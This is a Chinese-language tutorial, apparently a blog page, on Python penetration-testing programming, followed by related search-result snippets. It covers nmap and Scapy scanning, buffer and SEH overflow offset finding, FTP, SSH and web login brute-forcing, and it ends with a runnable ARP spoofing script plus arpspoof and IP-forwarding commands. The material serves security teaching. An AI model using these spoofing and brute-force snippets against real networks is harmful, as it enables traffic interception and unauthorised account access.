    1.scan( host , port , args ) 方法:以指定方式扫描指定主机或网段的指定端口

    参数:

    • host : 要扫描的主机或网段,可以是一个单独的ip:192.168.10.10 ;也可以是一个小范围网段:192.168.10.10-20 ;也可以是一个大网段:192.168.10.0/24
    • port :    可选参数,要扫描的端口,多个端口用逗号隔开,如:20,21,22,23,24
    • args :可选参数,要扫描的方式

    import nmap nm = nmap.PortScanner() nm.scan('192.168.10.10-100', '22,21','-sV') 也可以这样 nm.scan(hosts='192.168.1.0/24', arguments='-n -sP -PE -PA21,23,80,3389')

    2.command_line() 方法:返回的扫描方法映射到具体的nmap命令行,也就是我们上面执行的nm.scan()命令,对应的具体的nmap的命令

    a=nm.command_line() rint(a)###########################nmap -oX - -p 20,21 -sV 192.168.125.134

    3.scaninfo() 方法:返回nmap扫描信息,格式为字典类型

    a=nm.scaninfo() print(a) ########################### {'tcp': {'services': '20-21', 'method': 'syn'}}

    4.all_hosts() 方法:返回nmap扫描的主机清单,格式为列表类型

    5.查看扫描主机的详细信息: nm['192.168.125.134']

    6.csv()方法:返回值是CSV(逗号分隔值文件格式)的输出。

    print(nm.csv()) #用print打印看的更清楚

     

    三.Scapy

    Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

    内部实现了大量网络协议(DNS,ARP,IP,TCP,UDP等)。

    (1).Scapy的基本操作

    在Scapy环境中通过ls(Ether())查看Ether类的属性,ls(IP())

    ip=IP(dst="192.168.1.101") #构造一个发往“192.168.1.101”的IP数据包 Ether(dst="ff:ff:ff:ff:ff:ff") #通过Ether协议构建一个广播数据包 Ether()/IP()/TCP() #SCAPY的分层通过"/"实现 按照协议由底而上的顺序从左向右排列 IP()/TCP()/"GET/HTTP/1.0\r\n\r\n" #构造一个HTTP数据包

    (2).Scapy模块中的函数

    send(IP(dst="192.168.1.101")/ICMP()) #发送发往“192.168.1.101”的ICMP数据包 sendp(Ether(dst="ff:ff:ff:ff:ff:ff")) #sendp工作在第二层,send工作在第三层 IP(dst='192.168.1.101')/fuzz(TCP()) #发送内容是随机填充的数据包

    发送和接收函数 sr(),sr1()和srp()

    sr(),sr1()在第三层,srp()在第二层

    >>> sr(IP(dst='192.168.0.161')/ICMP()) Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets (<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

    通过2个列表保存sr()的返回值,并使用ans.summary()查看2个数据包的内容。

    >>> ans,unans=sr(IP(dst="192.168.0.161")/ICMP()) Begin emission: .Finished sending 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> ans.summary() IP / ICMP 192.168.0.160 > 192.168.0.161 echo-request 0 ==> IP / ICMP 192.168.0.161 > 192.168.0.160 echo-reply 0 / Padding

    sr1()和sr()区别:sr1()只返回一个应答的包只需要一个列表就可以保存

    可以利用sr1()函数来测试目标中的某个端口是否开放,采用半开扫描(SYN),可以看出目标回应了设置了SYN标志位的TCP数据包,表面这个80端口是开放的。

    >>> p=sr1(IP(dst="192.168.0.161")/TCP(dport=80,flags="S")) Begin emission: .Finished sending 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> p <IP version=4 ihl=5 tos=0x0 len=44 id=2099 flags=DF frag=0 ttl=128 proto=tcp chksum=0x7007 src=192.168.0.161 dst=192.168.0.160 |<TCP sport=http dport=ftp_data seq=3910676539 ack=1 dataofs=6 reserved=0 flags=SA window=64240 chksum=0xdb urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>

    sniff():可以在自己的程序中捕获经过本机网卡的数据包

    sniff(filter=" host 192.168.1.102 and icmp")

     

    1. filte:对数据进行过滤
    2. count:表示捕获数据包数量,默认为0,表示不限制数量
    3. store:表示是否要保存捕获到的数据包默认为1
    4. prn:这个参数是一个函数,这个函数将会应用在每一个捕获的数据包上
    5. iface:表示要使用的网卡或者网卡列表

    四、主机状态扫描

    1.基于ARP的活跃主机发现技术

    ARP是“地址解析协议”。通过互联网通信中的IP地址来获得以太网通信时使用的硬件地址(MAC地址)。在只知道IP地址不知道MAC地址时,向网络上的每台主机广播发送ARP请求,其余主机收到请求后会用自己的IP地址和包中头部的目标主机的IP地址比较,如果匹配,就做出回应。

    以此则可知道目标主机是否在线。

    2.基于ICMP的活跃主机发现技术

    ICMP(互联网控制报文)也位于TCP/IP协议族中的网络层,是用于发现和处理互联网中的错误。ICMP中的报文分为:差错报文和查询报文。查询报文都是由一个请求和一个应答组成。

    通过发送ICMP Request,如果有回应,则目标主机在线

    3.基于TCP的活跃主机发现技术

    TCP(传输控制协议)使用三次握手建立连接,发送请求后,如果主机有回应则是活跃主机

    4.基于UDP的活跃主机发现技术

    UDP是用户数据报协议,向目标发送UDP数据包后,目标主机活跃且端口关闭的时候会返回ICMP数据包“unreachable”。

    5.端口扫描

    (1)TCP全开扫描:向目标主机端口发送SYN请求,如果目标主机返回SYN+ACK回应,则说明目标端口开放,最会发送ACK建立TCP连接。

    (2)TCP半开扫描:TCP连接可能被目标主机的日志记录下来,而且三次握手中的最后一次是没有用的,在目标返回SYN+ACK后发送RST中断这个连接,这样并没有建立好TCP连接。

     

    五、软件溢出漏洞

    1.溢出漏洞

    kali中生成字符,并判断字符位置

    cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 500 ./pattern_offset.rb -q 37684136 -l 500

    在Immunity Debugger中 使用Mona.py插件 下载后复制到Immunity Debugger安装目录下的PyCommands文件夹中

    在命令行中输入!mona 使用这个插件

    执行!mona jmp -r esp 来查找JMP ESP命令

    2.SEH溢出

    程序在异常时会执行异常处理程序,每一条SEH记录都由8个字节组成,前4个字节是它后面的SEH异常处理程序的地址,后四个字节是catch块的地址。

    调用catch块的内存地址保存在栈中,使用一条POP/POP/RET指令来改写异常处理程序地址,让程序执行下一条SEH记录,把下一条SEH改成自己想要的shellcode。

    六、 身份认证攻击

    1.生成长度为2的密码

    import itertools words = "1234567890abcdefghijklmnopqrstuvwxyz" temp = itertools.permutations(words,2) passwords = open("dic.txt","a") for i in temp: passwords.write("".join(i)) passwords.write("".join("\n")) passwords.close()

    2.FTP暴力破解模块

    ftplib模块

    • ftp.connect("IP","port")#连接FTP Server和端口
    • ftp.login("user","password") #连接到用户名和密码
    • ftp.retrlines(command[,callback]) #使用文本传输模式返回在服务器上执行命令的结果

    import ftplib ftp=ftplib.FTP("192.168.0.1") ftp.connect("192.168.0.1",21,timeout=10) ftp.login("admin","test") ftp.retrlines('LIST') #使用FTP中的LIST命令,来展示FTP服务器中的文件 ftp.quit() #断开与FTP的连接

    3.SSH暴力破解模块

    pxssh模块

    connect(host,user,password):建立到目标机器的ssh连接 send_command(s,cmd):发送命令 logout():释放该连接 prompt():等待提示符,通常用于等待命令执行结束

    4.Web暴力破解模块

    requests模块和urllib模块

    import requests r = requests.get('http://192.168.0.1') payload={"frmLogin":"true","frmUserName":"root","frmUserPass":"123","Login":"Login!"} resp=requests.post("http://192.168.0.1/login.asp",payload)

    通过数据包的返回状态,判断是否登录完成。

    通过resp.url查看当前页面,可以判断有没有跳转,即有没有登录成功。

    七. 远程控制工具

    subprocess模块

    1.subprocess.call()函数,执行命令,返回0表示成功,非0表示失败

    import subprocess child=subprocess.call("notepad.exe")

    2.subprocess.check_call()函数,也是执行命令,如果返回值非0会抛出异常

    3.subprocess.check_output()函数,会返回子进程向标准输出的结果

    4.subprocess.Popen()函数,上面三个都是基于Popen()函数的封装。

    八. Web渗透测试

    1.常见的状态代码

    1. 200 Successful request:请求已成功,请求所希望的响应头或数据体将随此响应返回。
    2. 201 Request was newly c:请求已经被实现,而且有一个新的资源已经依据请求的需要二建立,且URI已经随Location:头信息返回。假如需要的资源无法及时建立,应当返回‘202 Accepted’
    3. 301 Resource moved perm:永久移动。请求的资源已被永久地移动到新的URI,返回信息会包括新的URI,浏览器会自动定向到新的URI。今后的任何请求都应使用新的URI代替。
    4. 307 Resource moved temp:临时重定向。
    5. 400 Invalid request:客户端请求的语法错误,服务器无法理解。
    6. 401 thorization required:请求要求用户的身份认证。
    7. 403 cess denied:服务器理解请求用户的请求,但是拒绝执行此请求。
    8. 404 Resource could not be:服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置“您所请求的资源无法找到”的个性页面
    9. 405 Method not allowed:客户端请求中的方法被禁止。
    10. 500 Internal server error:服务器内部错误,无法完成请求。

    2.urllib2模块的使用

    import urllib2 response=urllib2.urlopen("http://www.baidu.com") #打开一个链接地址 response.read() #读取网页的全部HTML代码 print response.info() #获取服务器发送的headers信息

    getcode():返回HTTP状态码。

    geturl():获取真实打开的地址。

    3.httplib2模块

    4.requests模块

    5.BeautifulSoup模块

    6.cookielib模块

    九.网络嗅探与欺骗

    1.ARP欺骗的原理

    arpspoof [-i 网卡] [-t 欺骗的主机] [-r] 要伪装的主机

    arpspoof -i eth0 -t 192.168.0.1 192.168.0.10

    echo 1|>> /proc/sys/net/ipv4/ip_forward 将截获的数据包转发出去

    #一个ARP欺骗程序 import sys from scapy.all import sendp,ARP,Ether if len(sys.argv)!=3: print sys.argv[0] + ": <target><spoof_ip>" sys.exit(1) victimIP=sys.argv[1] gatewayIP=sys.argv[2] packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP) while 1: sendp(packet) time.sleep(10) print packet.show()

     

    展开全文
  • Python渗透测试编程技术大全 一、漏洞渗透模块1、测试软件的溢出漏洞(1)栈溢出漏洞发现2、计算软件溢出的偏移地址3、查找JMP ESP指令(1)执行恶意的攻击载荷二、网络嗅探与欺骗1、网络数据嗅探(1)编写一个网络...
  • 漏洞渗透模块一、测试软件的溢出漏洞栈溢出漏洞发现自行构造数据包加大字符串的数量二、计算软件溢出的偏移地址显示软件FreeFloat FTP Server执行到地址“41414141”处时就无法再继续进行三、查找JMP ESP指令 ...
  • mona jmp -r esp”来查找“JMP ESP”命令,执行的结果 这里面选择第一条指令来作为跳转指令,需要记录下地址“77DBF049” 四、编写渗透程序 这里其实就是在使用Python编程向目标发送“JMP ESP”指令的地址时使用的是...
  • 本书由资深网络安全教师撰写,书中系统并深入地将Python应用实例与网络安全相结合进行讲解,不仅讲述了Python的实际应用方法,而且从网络安全原理的角度分析了Python实现网络安全编程的技术,真正做到理论与实践相...
  • 书接上文 菜鸟渗透日记30---python渗透测试编程之信息收集2-端口扫描
  • python语言为工具实现渗透测试,适用于广大渗透爱好者学习。
  • 暴力破解(使用字典文件)二、破解密码字典Python编写生成字典程序字典文件生成过程使用特定的字典文件三、FTP暴力破解模块破解过程 一、简单网络服务认证的攻击 1.暴力破解(使用字典文件) 思路: 纯字典攻击。...
  • 一、背景 1.拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。 2.其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机...
  • 拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。 其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机死机,都属于...
  • 在《python渗透测试编程技术 方法与实践》这本书第六章中要使用immunity debugger 这个软件 但是具体怎么用immunity debugger来查看软件的行为呢 在安装完后打开 FTP Server 测试一下显示可以连接上 打开 immunity...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 440
精华内容 176
关键字:

python渗透编程

python 订阅